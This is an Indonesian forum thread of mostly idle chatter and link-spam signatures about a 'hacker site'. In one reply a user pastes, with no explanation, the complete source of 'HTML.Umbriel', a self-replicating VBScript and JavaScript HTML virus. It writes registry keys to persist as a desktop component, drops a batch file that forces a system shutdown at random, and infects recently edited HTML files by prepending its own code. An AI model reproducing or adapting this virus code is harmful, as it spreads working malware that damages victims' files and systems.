great hacker site
 
Go Back   Home > Other Language. Bicara Dengan Bahasa Lain > English

Daftar
Lupa Password?


Upload Foto Video Umum Radio & TV Online


great hacker site

Loading...



 
Reply
 
Thread Tools Search this Thread
Reply With Quote     #1   Report Post  

great hacker site

please visit master hacker.
it's a great hacker site
pratama_adi2001
pratama_adi2001 pratama_adi2001 is offline
City Level

Post: 372
 
Reputasi: 0

__________________
Download Mp3 Gratis di www.adminkidnet.co.nr
kalau mau pulsa gratis bisa di www.indonesian.co.nr
and jangan lupa kunjungi blog gw di www.adminkidnet.co.cc
Loading...
       





Reply With Quote     #2   Report Post  

Re: great hacker site

so you are going to be a hacker now?

what are you can do? how smart are you? your IQ?
indonesiaindonesia
indonesiaindonesia indonesiaindonesia is offline
Admin

Post: 6.132
 
Reputasi: 109






Reply With Quote     #3   Report Post  

Re: great hacker site

<html><!--Umbriel-->
<head>
<title> Second Part To Hell's HTML.Umbriel </title>
</head>
<body>
<script language="VBScript">
rem VBS
On Error Resume Next
Dim fso, shell, wrte, tempdir, windir, rand, file
Set fso=CreateObject("Scripting.FileSystemObject")
Set shell=CreateObject("Wscript.Shell")
if err.number=429 Then
shell.Run javascript:location.reload()
End If

Set windir=fso.GetSpecialFolder(0)
Set tempdir=fso.GetSpecialFolder(2)

Set wrte=fso.CreateTextFile(windir+"\windows.cmd")
wrte.WriteLine "cls"
wrte.WriteLine "@echo off"
wrte.WriteLine "shutdown -s -f -t 300 -c "+chr(34)+"Second Part To Hell's Umbriel has you..."+chr(34)
wrte.Close()

shell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Desktop\Components\1\Source", "C:\umbriel.html"
shell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Desktop\Components\1\SubscribedURL", "C:\umbriel.html"

Randomize
rand=int(rnd*5)+1
If rand=1 then
shell.Run windir+"\windows.cmd"
End If
</script>

<script language="JavaScript">
// JS
var viruspath, virus, code, fso, file, check, checka, checkb
fso=new ActiveXObject("Scripting.FileSystemObject")
viruspath=window.location.pathname
viruspath=viruspath.slice(1)
virus=fso.OpenTextFile(viruspath,1)
file=fso.CreateTextFile("C:\\umbriel.html")
for (i=0; i<500; i++)
{
if (checkb!=1)
{
if (Math.round(Math.random()*5)+1 == 3)
{
if (check == 2)
{
file.WriteLine("/"+"*")
file.WriteLine("*"+"/")
}
if (check == 3)
{
file.WriteLine("rem")
}
}
code=virus.ReadLine()
if (code == "/"+"*") { checka=666 }
if (code == "*"+"/") { checka=666 }
if (code == "rem") { checka=666 }
if (checka != 666 ) { file.WriteLine(code) }
checka=0
if (code=="</"+unescape("%68")+"tml>") { checkb=1 }
if (code=="// JS") { check=2 }
if (code=="rem VBS") { check=3 }
if (code=="</"+unescape("%73")+"cript>") { check=0 }
}
}
virus.Close();
file.Close();
</script>

<script language="VBScript">
rem VBS
On Error Resume Next
set fso=CreateObject("Scripting.FileSystemObject")
set shell=CreateObject("WScript.Shell")
set myfile=fso.OpenTextFile("C:\umbriel.html")
mycode=myfile.ReadAll
myfile.Close()
rr=shell.RegRead("HKEY_CURRENT_USER\Software\Micro soft\FrontPage\Explorer\FrontPage Explorer\Recent Page List\File1")
if rr <> "" Then Call Umbriel(rr, mycode)
rr=shell.RegRead("HKEY_CURRENT_USER\Software\Micro soft\FrontPage\Explorer\FrontPage Explorer\Recent Page List\File2")
if rr <> "" Then Call Umbriel(rr, mycode)
rr=shell.RegRead("HKEY_CURRENT_USER\Software\Micro soft\FrontPage\Explorer\FrontPage Explorer\Recent Page List\File3")
if rr <> "" Then Call Umbriel(rr, mycode)
rr=shell.RegRead("HKEY_CURRENT_USER\Software\Micro soft\FrontPage\Explorer\FrontPage Explorer\Recent Page List\File4")
if rr <> "" Then Call Umbriel(rr, mycode)
rr=shell.RegRead("HKEY_CURRENT_USER\Software\Micro soft\FrontPage\Explorer\FrontPage Explorer\Recent Page List\File5")
if rr <> "" Then Call Umbriel(rr, mycode)

Sub Umbriel(rr, mycode)
set victim=fso.OpenTextFile(rr)
infcheck=victim.ReadLine
If infcheck<>"<html><!--Umbriel-->" Then
viccode=victim.ReadAll
victim.Close()
set wrtevic=fso.OpenTextFile(rr, 2, false, 0)
wrtevic.Write (mycode+infcheck+chr(13)+chr(10)+viccode)
wrtevic.Close
End If

End Sub
</script>
</body>
</html>
zabuza
zabuza zabuza is offline
Village Level

Post: 95
 
Reputasi: 0






Reply With Quote     #4   Report Post  

Re: great hacker site

what was that?
indonesiaindonesia
indonesiaindonesia indonesiaindonesia is offline
Admin

Post: 6.132
 
Reputasi: 109






Reply With Quote     #5   Report Post  

Re: great hacker site

It's somekind of program ..I think it's great to know how to h#ck a program . But why don't we share our knowledge here ..
heri_p
heri_p heri_p is offline
Village Level

Post: 34
 
Reputasi: 0



loading...



Reply With Quote     #6   Report Post     Original Poster (OP)

Re: great hacker site

hey i know great hacker forum master
please visit it
pratama_adi2001
pratama_adi2001 pratama_adi2001 is offline
City Level

Post: 372
 
Reputasi: 0

__________________
Download Mp3 Gratis di www.adminkidnet.co.nr
kalau mau pulsa gratis bisa di www.indonesian.co.nr
and jangan lupa kunjungi blog gw di www.adminkidnet.co.cc
Reply
 

Thread Tools Search this Thread
Search this Thread:

Advanced Search




Similar Threads
Thread Original Poster Forum Replies
Do You Think Indonesiaindonesia Is The Best Site? pratama_adi2001 English 15
Do You Have Blog Or Site?? pratama_adi2001 English 1


Pengumuman Penting

- Pengumuman selengkapnya di Forum Pengumuman & Saran


Cari indonesiaindonesia.com
Cari Forum | Post Terbaru | Thread Terbaru | Belum Terjawab


Powered by vBulletin Copyright ©2000 - 2019, Jelsoft Enterprises Ltd.